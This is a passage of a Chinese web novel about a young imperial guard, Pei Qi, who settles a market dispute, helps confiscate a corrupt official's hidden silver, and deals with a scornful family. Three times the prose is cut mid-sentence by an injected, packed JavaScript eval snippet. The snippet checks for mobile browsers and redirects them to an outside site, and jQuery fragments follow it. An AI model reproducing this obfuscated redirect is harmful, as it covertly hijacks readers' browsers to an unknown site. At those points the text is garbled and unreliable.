裴期接过了瓷碗,放在屠夫的案板上。 然后他又转头跟书生说:“把荷包拿来。” 书生咬着下唇把荷包抱在手里犹犹豫豫的,过了一会儿才终于下定决心一般交给了裴期。 里面的钱算不上多,却也是这书生赶考的所有盘缠了。 他出生的家庭十分贫穷,小时候还经过了一段差点饿死的时日,就算一路上赶路有朝廷下的补助也不够花的,他提前来上京本就是想租房多多学习一段时日,若是钱也没了,他就真要流落街头了。 裴期接过荷包,将荷包中的银钱尽数放入热水当中。 银钱沉入热水,热水没发生任何变化。 接着裴期又对屠夫说,“把你方才从那小孩儿手里拿的铜板拿出来。” 屠夫半信半疑的将铜板又从暗格当中拿了出来,暗格拉出来到一半的时候似乎有些卡住了,屠夫用力才吱啦一声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14023785|148420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,把那个小抽屉拿了出来。 裴期拿到了几枚铜钱,又放入了另外一个瓷碗当中。 铜钱沉入碗底,表面的水上浮出一点儿油花。 旁边已经有人懂了,“杀猪的!有油的才是你的钱!” 他这句话说出来在场的所有人也都懂了,确实像屠夫这种切肉和拿钱都是一个人的,怎么可能钱上不沾有一点儿油腥呢? 书生的钱上干干净净,一看便就不是这屠夫了。 书生松口气,这下终于可以证明他的清白,同时又暗叹,方才自己太过着急,竟忘了这样的辨别方法。 细想来,其实前朝已有事例,自己怎的忘了呢。 屠夫脸色白了又青青了又白,过了很长一会儿才接受现实,他沉默的书生鞠了躬道歉说,“刚才是我莽撞,错怪了公子,还有公子海涵。” 说着说着,他吸了吸鼻子,“实在抱歉,家中小儿从出生开始便从未有一日康健过,日日都要喝药,若是钱丢了,那家中小儿便……” 说完,他身子往前倾,竟是要下跪的样子。 书生还在气头上,可他看对方道歉如此诚恳,又想到刚才来的那小孩儿摇摇晃晃口吃的模样,叹了口气将对方扶起来,“你记住以后不要如此莽撞了。” 两人在那里说话的功夫,裴期已经绕到了屠夫的用于屠宰的案桌的后面,他仔细端详着那个暗格。 随后把那抽屉彻底拉开,将手伸到了暗格的最里边去。 屠夫见他这样,有些不确定地问道,“大人,您在做什么?” 裴期没有说话,只是手上动了一下子,随后他将手从暗格中拿出小指上还勾了一个与那书生款式,颜色一样的荷包出来。 原来是屠夫力气甚大,抽拉着暗格的时候,每次都使了很大的力气,这暗格后面用于挡的部分木板也被他给磨坏了,有时会掉一些东西进去。 屠夫一下子失而复得了一大笔钱,心中想着药费总算是有着落了。 他一时之间喜不自胜,就是对着裴期扑通一声跪了下来,“谢谢大人!谢谢大人!!” 裴期把对方扶了起来,“我是锦衣卫,给朝廷做事,做这些也是分内的,再说了,这钱也本就是你的,你不必如此。” 这话一说,在场的人神情都有些微妙,从锦衣卫成立到现在,他们从未听说过还有“锦衣卫为民请命”这个说法。 屠夫感激涕零,擦了擦手,非得把铺子上的猪肉半扇送给那书生用于赔罪,另外办上送给裴期。 裴期推辞了好长一阵才打消对方的念头。 围观的众人也散开了。 钱苗抱着胸站在人群的后边,人群完全散完,他才走上前来,他笑着拍拍裴期的肩膀说, “裴大人,好威风啊。” 裴期眨了眨眼,没理会对方说的话,只说,“去吃杨小旗家的小馄饨吧。” 他话没说完,旁边忽然传来一声肚子饿的咕噜响声,裴期转头看去旁边站着的书生脸红了。 他支支吾吾地解释道,“见笑了,我,我这两天才刚到上京把房给租好,来不及看看周围的吃的。” 见到这书生,裴期不知道为什么想起了上辈子一个朋友,他笑了笑,“那就和我们一起去吃小馄饨,我请你。” 书生有些惶恐地摆手拒绝,“刚才才麻烦了您,正好让您再破费。” “没事的。”裴期说,“你若是高中了,我们日后见面的时间还长着。” 书生神色复杂,受一些读书人的耳濡目染,他之前对于锦衣卫也是不屑、不齿,认为对方只是皇权走狗,可现在…… 他后退一步,将手举过头顶,郑重其事地给裴期做了个长揖, “阁下大恩,我无以为报,日后若有能用得上我的,阁下可尽情吩咐。” 钱苗啧了一声,有些看不惯裴期的烂好心行为,可说归说,他也没拒绝把这书生带上。 走之前他随口问了一句书生,“你叫什么名字。” 书生回答,“杨明。” 钱苗点了点头,只当是结识了一个读书人。 毕竟这个年轻人看上去普普通通的,一点儿也不像几个月后会中状元的模样。 12.第一次抄家(上) “喂,裴期,你等等,别生气嘛。” “你胆子就这么小吗?这个都听不得?” “你昨天不还想知道那个人为什么第一眼见了你就以为你要拆骨剥皮的吃他吗?现在你知道了。” 到了夜晚,硕月高悬,月光皎皎铺在地下的青石板上,裴期踏着银白的月光抿唇一个劲儿往前走。 他们刚在杨小旗的店里吃了小馄饨就被锦衣卫司派来的力士通知晚上要和彭指挥使一起夜巡。 杨小旗站在那道月光的尽头等他们。 屋檐遮住他,让他显得整个人都待在黑色的阴影里一样。 “怎么了?”杨小旗一脸稀奇地看着裴期,“你是怎么把他惹生气的?你竟然也能把他惹生气?” 他曾以为裴期永远都会是那副无论干出什么惊世骇俗事情都是一脸理所当然的模样呢。 钱苗挠了挠头,他也没想到自己只是开了个小玩笑,就能惹得裴期这样。 “还不是上次的事,刚在你家的铺子上吃饭的时候,我跟裴期说上次的事,那个贼人不是捉小孩和妇人女子儿就是为了……” 吃饭的时候说这事? “够了。”杨小旗打断钱苗,“你就是欠的。” 其实本来审出了什么结果是不应该让这么多锦衣卫都知道的。 但口供实在太过惊诧,参与审问的人跟相熟的同僚说了一下,刹那之间就传遍了整个锦衣卫司。 原来这贼人这个团伙供奉了个自称是仙人的骗子。 这骗子先是说:妇女和小孩儿的油脂做成的脂粉,香味扑鼻,若是在市面上卖定能大赚一笔。 然后又是说:他们的肉和骨剁碎了包在面皮里做成馄饨煮了吃了可以延年益寿,增强体质减缓衰老。 街的那头那家奇贵无比但香气扑鼻的脂粉店就是他们组织开的。 若不是锦衣卫和大理寺调度人手,及时把所有人都给救了出来,不知道要有多少人遭了毒手。 这里有不少锦衣卫都十分爱俏。 有几个更是险些就去买了那家脂粉铺的脂粉。 一听到审讯出来的口供,一时之间都感觉异常恶心。 只可惜如今所有参与绑架的人都给抓到了,可那幕后主使却没有揪到。 那么大一家脂粉店,还是在那么金贵的地段,要的租金可不少。 那些贼人们若是有这么多的钱,倒也不必去干这些绑架人的腌臜事儿了。 裴期停下脚步,等着后面的钱苗追上来,他往后看了看,又看了一眼面前的杨小旗才说,“我们换了夜巡的地方吗?” 他记得上次给他们分配到的夜巡的地方是在上京靠近外郊的地方,现在都靠近上京的中心了。 钱苗气喘吁吁地从后边儿追了上来, “你,你跑这么快干什么?又没让你抓人,我知道错了还不行吗。” 杨小旗听见裴期的问话,笑了一下,“我们夜巡分到的地方没变。” 钱苗偷笑,插嘴补充, “跟着杨小旗夜巡叫夜巡,跟着指挥使的夜巡叫……”他走到裴期的眼前说,“叫抄家。” “抄家?” 在当朝律法中,只有犯了那些比较严重的罪的人被定罪了之后才会抄家。 譬如谋反叛乱,结党营私等。 但裴期仿佛还没有听说最近是谁犯了那么严重的错。 “啧,就是那个。”钱苗努了努嘴,“我第一次带你去看审讯的时候审的那个张大人,三皇子母族的那个。” 裴期点了点头,把这个人记了起来。 “证据确凿,他们定案之后,明天白天张大人就要处斩了。” 杨小旗说,“所以才派我们今晚连夜去抄家。” 本朝的皇帝对于贪官的态度延续了太祖的作风,向来是严惩不贷。 更何况是这种皇子母族的人,更得杀一儆百。 旁边路过了个打更的人,他大声吆喝着,又“咚咚”地敲打了两下手上的锣。 “关门关窗,防偷防盗。” 在古代,白天还可以靠太阳来辨别时间,晚上则要靠这些打更人来分辨时辰。 一般来说敲一下锣就是一更,也就是后来说的七点~九点,敲两下锣就是二更,也就是九点~十一点。 打更人的警示语也会有所不同,譬如一更的时候他会说“天干物燥,小心火烛”,二更的时候他会说“关门关窗,防偷防盗。” 听到打更人的声音,杨小旗说:“快走吧,时间不多了。” 然后他在前面带路,裴期和钱苗就在他的身后跟着。 “对了,听说你们今日结识了个举人?”边走杨小旗边问。 裴期没想到这事这么快就给杨小旗知道了,他嗯了一声,“对,叫杨明。” 杨小旗听了,点点头,也没把这当回事,只是领着他们,又加快了脚步。 三人在月光下快步往前,他们走的是就近的小路,不如其他地方夜市热闹,并没有多少人,故而脚步声在有些寂静的街道上显得格外清晰。 不多时,他们三人就来到了张大人的府邸附近,府邸的大门紧闭,门外边儿站着两排锦衣卫。 看来裴期他们还是来晚了一些,如今这些锦衣卫们都给站好了,见到这一幕,他们三人立即放轻了脚步,默默地加入到了队伍的最后边。 彭指挥使正神色冷峻地站在那里,看到裴期等人到来,才微微颔首。 随即他神色一凛,对着站在府邸外的各锦衣卫说, “此次查抄前兵部主事张几的府邸,最少要从府邸上查出两万两雪花银,若是有人敢在其中浑水摸鱼,私藏赃款的。” 他眯着眼睛看了在场的人一眼, “左手拿的砍左手,右手拿的砍右手。” 下面的站着的锦衣卫们齐声回答道:“是。” 裴期也跟着回答是。 忽然,他似乎在指挥使的旁边似乎看到了太子的身影。 太子又穿了一身玄色的衣服,整个人都在黑影里面。乍一看谁也不知道那里有个人。 此时见到裴期注意到他,他缓缓地从黑影里出来,月光照下来,先是高挺的鼻梁,然后是眉眼,他远远地看向裴期,然后眯着眼睛,眉眼一弯。 裴期有些莫名,但还是扬起嘴角回了个笑,然后他小声地问旁边的钱苗,“太子怎么会在这儿?” 钱苗看了一眼后说,“太子殿下负责大理寺的事,最近殿下也想让他负责锦衣卫的部分事务,张大人又是他审的,抄家的时候在这儿也正常。” 裴期点点头,示意自己明白了。 指挥使在说完这些话之后,锦衣卫们纷纷散开前去查抄府邸里面的银子财产。 虽说方才指挥使刚说不许拿府邸里面的脏银,可在锦衣卫司查抄府邸之时,上边还有一条不成文的规矩,虽然府邸里边儿的现银是不许随便拿的,可其他的东西却还有可以商量的余地。 锦衣卫虽然看着光鲜,俸禄却捉襟见肘 ,且锦衣卫中不只勋爵子弟更多的还有被选拔进来的普通民众,那点儿银子远不够糊口的。 所以皇上对于此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14028591|148420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事也是睁一只眼闭一只眼,甚至在他们之中立了规矩。 除现银之外,千户以上的可以拿价值50两以下的物品,百户以上的可以拿价值20两以下的物品,稍微有些官职的小旗总旗可以拿10两以下的。 而像是裴期这种刚来的身上没有任何官职的最底层校尉,有的东西给他们分已经是额外开恩了,最多只能拿5两以下的。 此时他们行动如此快的原因也是如果慢些,那些好的,容易出手的东西便会被同僚拿走了。 裴期则被叫住,站在了原地,太子走过来说:“父皇特意让我给你带了口谕,今年的秋猎让你也去。” 他说这话时勾着唇角,月光照在他的脸上,显得说这话时仿佛不是在传什么口谕,而是在耳边私语。 但太子旁边站着的侍卫却不着痕迹地看了太子一眼。 他明明记得是太子自己抢了这差事的,怎的又说是陛下说的呢? “多谢殿下提醒。”裴期回。 “不必如此客气。”李稷说,“孤与裴卿相见,只觉十分投缘,如今你我二人也算是好友。” 好友? 好朋友? 裴期微微一怔,像是想到了什么一样,认真地说,“多谢殿下抬爱。” 李稷唇角微勾,凑近裴期,此时虽有月色,可他是背对着月亮站着的,因此裴期也看不清对李稷脸上的神色。 只见李稷摆了摆手道:“不必如此拘束,秋猎之时,你我可畅意而谈即可。” 两人隔得近了,裴期的手似乎被太子穿的那身衣服宽大的袖袍给盖住。 不知道是不是错觉,裴期似乎感觉自己的手被隔着袖袍不轻不重地捏了一下。 裴期愣了一下,他眨眨眼,看向李稷。 李稷没说话,只是看着裴期。 过了一会儿他才道,“裴卿,莫耽误了差事。” 裴期这才想起来,自己该进去同同僚们一起抄家了。 于是他客客气气地拜别了太子。 转身朝府邸里面走去。 钱苗正在前面等着他,“哎呦,你怎么才来。” 李稷站在原地,目送着裴期进去。 他旁边那个穿着黑色劲装的侍卫问, “殿下,您只是传个口谕而已,何必同这等人说这些话?” 实际上他连殿下为什么要揽这个差事也不知道。 李稷神色有些莫测。 他派出去的探子眼线行动都十分迅速,很快就查清了裴期身边的一些关系。 但得出的结论十分奇怪,别说和三皇子,五皇子有联系了,这个人似乎除了家中府里的那些人之外,再也没有接触过其他的人。 除了来锦衣卫之后认识的, 一个熟人、朋友也没有。 身边的关系简直干净到不可置信。 出现这样的情况一般有两种原因,要么对方就真是没有任何交际,从小到大一个人。 要么,就是从极小的时候便开始布局的一枚重要棋子。 无论怎么想,肯定是后者的可能性大。 一个人怎么可能从小到大都没有接触过外人,甚至连小时候都没有接触过同龄人呢? 这样长大的人,只会是疯子。 那么,就让李稷亲自来试一试,裴期背后的人究竟想要什么。 李稷没有说话,只是斜视了一样旁边的侍卫。 侍卫瞬间汗毛直立,低着头说话也不利索了,“是,是属下逾越了,请殿下恕罪。” “走吧。”李稷说。 13.第一次抄家(下) 裴期进入到府邸中。 他的第一反应便是这府邸尤其豪华,他生在裴府,已经算是钟鸣鼎食之家。 可这张大人不过是前年托了和贵妃同族的福才被皇上注意到,从那偏僻的地方调上来担任兵部主事的。 他府邸的豪华程度竟是裴府连十分之一也不及。 走进院子外的一处长廊。 抬头看,是请能工巧匠用金漆一笔一笔绘出来雕出来的雕梁画栋。 低头瞧,被镶在地板中任人踩踏的竟然是的南方极好的青玉。 往前瞅,是紫贝和珍珠做成的帘子用以遮掩。 往后观,是那日宫宴中皇室才用的闪着波光粼粼的纱。 裴期疑惑,就这样的,那张大人竟然在那日庭审之时说他并没有贪污银两? 显然,疑惑的不止他一人。 钱苗走在前面, “我以为我家已经算是富裕了,可我从来没见过这么奢靡的架势,那张大人可真有胆量,都这样了,居然还敢说自己清清白白。” 裴期不知道想到了什么,停下来说, “有些人强占了不属于自己的东西久了,便理直气壮以为那是自己的东西了。” 钱苗听到这句话先是想了一会儿,等到琢磨过味儿来了之后露出一脸惊讶的表情,随后说, “可以啊你小子,定是沾了那举人的文气了,说话居然这么文绉绉的。” 说完这话,他又眼珠一转, “该不会……是你自己的亲身感悟吧,就像是你那……” 他话还没说完被就被从后面走上来的杨小旗给了一肘子, “当差呢,当差的时候你胡说八道些什么?还不快快的去找脏银,今天超不出两万两白银,我们都得遭罚。” 说完他又仔细的看了一眼裴期脸上的神色。 虽然他才认识裴期不久,也不比裴期大了多少,可他是真心将这个看上去呆呆的家伙当成了自己后辈来看待。 裴期心思单纯,脑子里没那么多弯弯绕绕,且看样子在家也不讨喜,要是在外面还这样,他是看不下去的。 “我知道了,我知道了,我错了。” 钱苗捂着被肘到的地方,脸皱成一团。 “你们几个废什么话,还不快来?”前面一个表情有些凶巴的千户往这边看着。 几人立即收声,往这府邸的主人寝房走去。 锦衣卫对于抄家的工作早已驾轻就熟,眼下这府邸里无论是暗格还是书架,甚至连这里的狗窝里都已被摸了个底朝天。 可眼下那带头的几位千户脸上却一副愁眉苦脸的样子。 这张大人贪了两万两的白银。 为补充国库,他们抄家的时候也要从张大人的府邸中超出至少两万两。 可这些贪官污吏们往往都有藏匿银子的独特手法,坚信自己过了这个坎儿之后能出来继续享受自己贪污的银两。 所以有时候遇到那些个藏匿手段比较高超的,查抄的难度会增大。 就像现在哪怕大伙已经把整个府邸里面都翻开了,扒烂了,也才找到五千两的现银。 可才五千两又怎么可能?这府邸如此奢靡! 前面带队的千户叹了口气,“只怕这次要挨罚了。” 旁边站着的人也跟着说,“本来这次一起来就是看看这张大人的家里有没有什么宝贝的,可现在连现银也凑不齐了,真是晦气。” 没查出那么多现银,在座的每个人都要挨罚。 “说来也奇怪,这张大人他夫人孩子的房间里面都能抄出来一些银两,可为何独独他自己住的房间,一点值钱的物件也没有呢?难不成他真是这么好,贪了银两就净给自己妻儿用了?” “呸。”有个锦衣卫朝旁边吐了个唾沫,“你也不看看他这几年都新纳了多少房小妾了,怎像是关爱妻儿的人?他是这次出事不能把妻儿推出去顶罪,要是能顶,他早推出去顶了。” 就在在场的锦衣卫都愁眉苦脸之际,裴期却发现了什么。 他退了好几步,走出门外去,然后盯着门口的那堵墙仔细地看。 千户见他这举动,也跟着一起出来说:“发现了什么?” 大家知道外面都传言裴期脑子不太灵光,可现在都这情况了,也只好死马当成活马医了。 他只见裴期朝张大人寝屋的隔壁房间走去,随后伸出手掌贴到了那面墙壁的侧面。 这面墙的厚度刚刚好是他手掌横过来的长度。 紧接着,裴期又走回了张大人寝屋的墙侧面,也像方才一样把右手的手掌伸出来,贴到墙的侧面,去测量墙的厚度。 这面墙的厚度显然比裴期的手掌横过来的长度大上许多,一看就不正常。 旁边站着观看的千户,眼睛都瞪大了,他朝旁边站着的校尉和力士们喊: “快,你们几个,快把这面墙拆掉。” 校尉是锦衣卫里的底层,而力士则是锦衣卫当中没有正式编制,做辅助工作的。 他们拿出家伙事,去拆正面墙,可他们发现这面墙不知道被什么东西给浇灌地坚硬无比,几人在上面扒了半天也只是稍稍破了层皮。 裴期见状,也上前准备帮忙。 旁边的力士见他这样,心里都不免有些轻视。 长成这副小白脸的模样,还学他们一样做着卖力气的活?在长官面前也不是这么表现的。 有好心的人出言提醒,“兄弟,这墙硬实,实在不行,我们再叫人过来就……” 可他话还没说完,在场的人就眼睁睁地看着这个长相水灵灵,俊的不得了的小后生直接一拳就把这坚硬无比的强打开了一个豁口。 一时间这群方才还看轻他的力士,竟没有一个人出声,过了半晌,才有人有了动作,接着去拆墙面。 随后这群等在旁边的人就顺着裴期弄出来的那个豁口把这面墙给打开了。 这面墙打开的一瞬间,在场的诸人都震惊了。 怪不得这么坚硬,这整整的一面墙上,有金又有银,简直金碧辉煌,富贵迷眼。 不用细看就知道,这里面不仅有2万两的白银,甚至还超出了许多。 放在这金子银子旁边的还有一些一眼看上去便价值不菲的古玩,玉佩等。 方才还愁眉苦脸的千户一扫失落的神色,拍着裴期的肩膀大声笑, “好小子,好小子!” 他上前去大致地看了一眼这面墙上有多少金子,银子又价值几何,随后他跟裴期说, “你替我解了难题,我也礼尚往来,这里边的东西除了现银,你挑一样,用我的份额。” 此话一出,在场的人羡慕极了,那可是千户啊。 足足五十两呢,一年的俸禄还没有那么多。 裴期却注意到了“礼尚往来”四个字。 他想起,太子赐给自己的东西价值不菲,那他或许也应该挑些东西回礼。 可他又未曾收藏什么之前的物品,又因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044253|148420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为在家住着,不怎么出门的缘故,裴府从小也没给他什么银子花过。 他一时之间还真想不出来什么自己有东西回礼。 眼下这个时机,他倒是可以挑一挑有什么东西适合送给太子的。 过了片刻,裴期的眼神停留在一块通体碧绿的两只手镯大小的玉环上。 玉环色泽温润,雕工精细,上面雕得有两朵莲,还有两只鸟,两只玉环互相串在一起。 应该是从一整块好料子上取下来做的,适合送人。 “我要这个。”裴期指着玉环说。 千户看了一眼,又有些欲言又止,酝酿了一下,他才问:“你是要送人?” 双玉环意味着成双成对,永不分离,一般是送给情人或是夫妻之间的。 也就是俗称的—— 定情信物。 ……这时候用来挑定情信物? 不过,千户上下扫视一眼裴期,这小子长得俊,身高腿长,勋爵家庭,虽然没有爵位,却有个正经的可以荫给子孙的职位傍身,也算还行。 裴期虽然穿到了古代,可对于这些却压根儿不了解,因此他点点头,说:“是要送人。” 千户露出一副了然的神情。 果然如此。 千户打听起来很收敛,可钱苗却不是。 在府里面的手他还能忍,但刚从府邸出来他的八卦之心就熊熊燃烧。 他一把勾住裴期,“说,你小子看上哪家小娘子了,如实交代。” 杨小旗一反常态地没有阻止。 因为他也想知道。 裴期不知道对方怎么就得出了这么个结论,他摇摇头说:“并未。” 不是小娘子? 那难道是? 钱苗眯了眯眼,“想不到你是这样的人,说,是送给哪家的夫人,我替你保密。” 杨小旗虽然不说话,耳朵却也竖了起来。 裴期眉心一跳,“当然不是。” “那是哪家的女子?”钱苗撇撇嘴,他从口袋里掏了个糕点出来嚼着,他觉得特没意思,裴期肯定不肯说 裴期不知道为什么他们会这么猜,他皱了皱眉,说:“不是女子,是男人。” 一石激起千层浪。 “噗。” 钱苗惊地把刚到嘴的糕点给喷了出来, “男子?!你说男子??!” 杨小旗也惊了,“你不想说可不能拿这个开玩笑。” 裴期不知道两人为什么这么大的反应,他点点头,“我没开玩笑,就是男子。” 钱苗沉默了一会儿,然后郑重地说,“裴期,我知道你是把我们当真兄弟了才说这些,你放心。” 他拍了拍自己胸膛,“这秘密我绝对给你守住!” 只是…… 过了一会儿,钱苗又说:“缴来的东西要送人的话,最好在上面刻上对方的名字。” 杨小旗掀开眼皮看了钱苗一眼,他就知道钱苗不可能善罢甘休,非得打听出点什么。 “这样,我爹爱玩玉,家里也请了匠人,你告诉我那人的名字,我让人给你刻。” 裴期想了想,也觉得有道理,于是他也不推辞,点点头, “我想刻个‘稷’字在上边。” 钱苗表面上答着好。 心里却在想着,“季”啊。 周围的男人里,有哪个名字里带“季”呢? 好难猜啊。 该不会是表字吧。 14.您会平安喜顺一辈子的 按照锦衣卫的惯例,前一天值完夜拆之后第二日上午便可休息。 因此裴期回到家中,洗漱之后便直接上床睡了,直到天光大亮,他才睁开了眼睛。 裴期是被一阵窸窸窣窣的声响给弄醒的。 去只见一团黑乎乎的物体在他房间内的桌子下慢慢地动着。 裴期悄悄的把脚放在地上,靠近了那团黑乎乎的东西。 那东西见他来了,也不抵触、不躲,就等在那儿,等到裴期接近的时候,他反而伸出了自己的爪子,挨着裴期。 此时这个东西的全貌才算完全显现出来,原来是一只玳瑁龟。 裴期笑了,蹲下身去,用手摸着玳瑁龟的龟壳,“长寿将军,你怎么又来这儿了?” 裴期刚穿过来的时候,只是个小小的婴孩,婴儿时期的他并不能显现出才能、天赋的多少,所以那时候的裴父还算是宠他的。 在他五个月大的时候裴父不知道从哪儿弄了一只玳瑁龟过来。 说让这只龟和裴期一起长大,他给这只龟取名长寿将军,有长寿长生的寓意。 希望裴期日后能平平安安。 虽然后来裴父心意变换,将一腔的爱全倾注到了弟弟的身上。 但是这玳瑁龟倒还是归裴期的了。 在以前裴期还小的时候,无聊了,就对着长寿将军说话。 长寿将军就趴在池塘的边上,照在阳光下静静的听着,像是位慈祥的老者。 只是长寿将军喜欢待在有水的池边,池边湿滑,裴期曾失足掉进去过一次。 没人听见他的喊声,他就自己从池塘里给爬上来了。 长寿将军有灵性,自从那一次之后他就再也没出现在池塘的旁边过,反倒经常从池塘里边儿爬出来到裴期的房间里来。 此时长寿将军被摸了龟壳也不恼,只是安安静静地趴在那儿,偶尔发出一点轻微的颤动,从正面看,长寿将军嘴的弧度让他看起来好像一直都是笑着的一样。 裴期看了一会儿,自己也笑了起来,他说:“你就在这儿别动,我去外面给你寻点儿东西回来吃。” 说着他伸手拿起了旁边屏风上小厮给准备的衣物穿在了身上。 尽管来到了这儿,他还是不习惯有人摸来摸去地帮自己穿衣服。 因着下午可能还要当差,小四给他准备的衣服也是一件小袖的,轻便的青色劲装,鞋子也是轻巧的羊皮小靴。 整理好自己的穿着了之后,他从房里走了出去。 府里的人都知道昨晚他出去当差了,因此早饭并没有人打扰他。 见到他出来,守在他门外的小厮从地上站了起来,拍了拍自己的屁股跟他说:“大爷,您终于醒了,厨房您有给您热着的菜,是您自己去,还是我给您端来?” 裴期摆了摆手,“不用你端,等下我自己去厨房看看就是了。” 他还想去厨房寻一寻,有没有生肉,鱼虾,贝类的东西,可以给他房里的长寿将军吃。 如果他记得没错的话,虽然在这个朝代养玳瑁是合法的,也没人去管,但是到了自己的那个时代,玳瑁龟已经成了濒危物种。是不允许人私自饲养的。 玳瑁龟是杂食性的动物,一般都会吃鱼虾,贝类还有一些肉。 裴期来到厨房,果然在灶台上看到了几盘用碗扣着的热菜。 他简单扫了一眼,便开始在厨房中翻找起来。 不一会儿,他在一个角落里发现了一小点生肉,旁边的篮子里还有一些新鲜的鱼虾。 裴期嘴角勾了一下,小心地将这些食物放在一个磁盘上。 端着东西,裴期快步往自己房间走去。 推开门,长寿将军依然安静地趴在原地,好像真的听懂了裴期的话,一直在等待着他回来。 裴期将托盘放在地上,拿出一些鱼虾和生肉放在长寿将军面前。长寿将军伸出脑袋,嗅了嗅食物,然后慢慢地开始吃起来。 做完了这些,他才终于感觉到自己也饿了。 看着吃的正香的长寿将军。 他也准备为自己去寻点儿东西吃,可刚走出房门,迎面就撞上了手推着轮椅往这边过来的祖父。 祖父上下扫了他一眼,鼻子闻到了一点儿来自鱼虾的腥味和生肉的血气。 他不满地皱起眉头来, “裴期,我不是早就跟你说过?让你不要去碰那只龟,这些事情自然会有下人去做,你非得如此自甘堕落。” 裴期不想理他,于是也没有说话,当做没听到一样继续往前走。 气得他的祖父在他身后直锤那把木轮椅。 可又没走几步,或许今天真是不顺,他又遇到了抱着一堆上好的宣纸往这边赶来的裴建。 裴期站在了原地,怕碰到对方,把对方手里的宣纸给弄掉,可不知为何对方还是碰到了他。 下一刻,宣纸纷纷扬扬地飞了起来,漫天漫地的都是,像一只又一只鸽子一样。 在这些白纸的中间,裴期见到了自己的母亲,从那边着急忙慌地赶了过来。 “裴期!你干了什么!”裴母快步走到裴建身边,一边帮他捡起地上的宣纸,一边斥责裴期:“你这孩子,怎么如此莽撞?这些宣纸是特意为你弟弟准备的,你怎么能给弄成这样?” 裴期想解释却又不知从何说起,毕竟刚才站在这儿的确实是他,他抿了抿嘴,眼中闪过一丝黯然。 他弯腰捡起几张宣纸,递给裴母,裴母却一把推开他的手:“别碰这些宣纸,你只会把事情弄得更糟。” 裴期站在了原地。 裴母后知后觉地才发现自己说的话太重了,将地上的宣纸捡起来之后,她站在原地嘴唇动了一下,有些尴尬地说 , “小期,你别放在心上,实在是因为这事太急,是我太紧张了才会这样。” 裴建也在旁边帮着说话,“对呀,大哥,你莫要责怪母亲,实在是因为这是事关五皇子,母亲也是太过重视了。” 这时在后面推着木轮椅的祖父终于赶了上来,见到这一幕,冷哼了一声说:“为人父为人母的,你有什么好值得给他道歉的?他就是放肆惯了。” 说罢,他还不过瘾。 “要我说你就该向你弟好好学学,不过才入仕的第三年就已经得了五皇子的青眼,特意派了鸿胪寺的少卿来请子兼的墨宝。” 鸿胪寺的少卿是四品官,而裴建自从考取了探花之后一直在翰林院任编修一职是正七品的官。 按道理来说,裴建加上自己的爵位并不比鸿胪寺的少卿差多少。 可关键的是朝中有点眼力见的人都知道鸿胪寺的少卿是五皇子那边的人,这个少卿请人,便就是相当于五皇子在请人了。 得了皇子的青眼,在朝中帮你美言两句,何愁仕途不畅? 裴期听烦了这些话,他低头看了看宣纸上的字。 只见宣纸上写着: 【“自天子至庶人,一是皆以修身为本。” 请以修身之要,论为臣为民之道。】* 古代的这些文章等可没有大白话的注释,裴期穿了之后,自然压根儿在裴家的私塾上学不进去,自然也就成就了他一番愚笨的名声。 可就算他不能完全懂这句话的意思,他也知道这个句式一定是出了道题。 裴期有些疑惑,“请你的墨宝,那为何会特意出了一道题让你做?” 若是他没有记错,请人的墨宝大多是让别人提字或是写上一两句诗的怎么会像出题似的让别人把一整篇答案给写出来呢? 祖父嗤笑一声, “就你这样不学无术,从小到大连半个字也没有读过的人也配问?你弟弟得五皇子重视,五皇子想看看他的文采又何妨?” 接着他又朝裴建说:“你放心,莫让别的事情打搅了你,今天一天你就在你父亲的书房写这篇文章。有些人这辈子也不一定能见天潢贵胄一面,反倒先在这里说起来了。” 裴母上来拉住裴期的手说,“小期,你不懂这些,就让你弟弟先去做吧,我们先去用早食,好不好?” “你弟弟他再有几天就要去考试院里监制科考题了,本来时间就已经不多,这几日要让他专心把五皇子要的东西给写好。” 裴期虽然迟钝,但眼前这些人一唱一和的默契,还是让他打心底里的厌烦,祖父也就罢了,可今日连母亲也…… 他眼睫微垂,谁的话也没应,转身就准备自己去小厨房里。 就在这时,有人进来传话,传话的人跌跌撞撞的跑进来,非常着急的样子,连说话也说不利索了:“老……老爷,外面外面有太监过来说是要宣旨。” 除了裴期以外的三人皆是面面相觑,他们都想不出来自己最近做了什么事,惹得皇上的注意,竟还专门派了人过来宣旨。 祖父连忙对旁边站着的裴建问:“子兼,最近你可做了什么?” 裴建站在原地摇摇头,在他的印象中,他的身边从来没发生过这种事情,因此,他半是猜测地说:“说不准是五皇子那边的事,特意派了一个太监来。” 祖父点了点头,“也对,我们全家有出息的,就你一个,还能有什么其他的事情呢?竟然是那五皇子托人过来说什么的。” 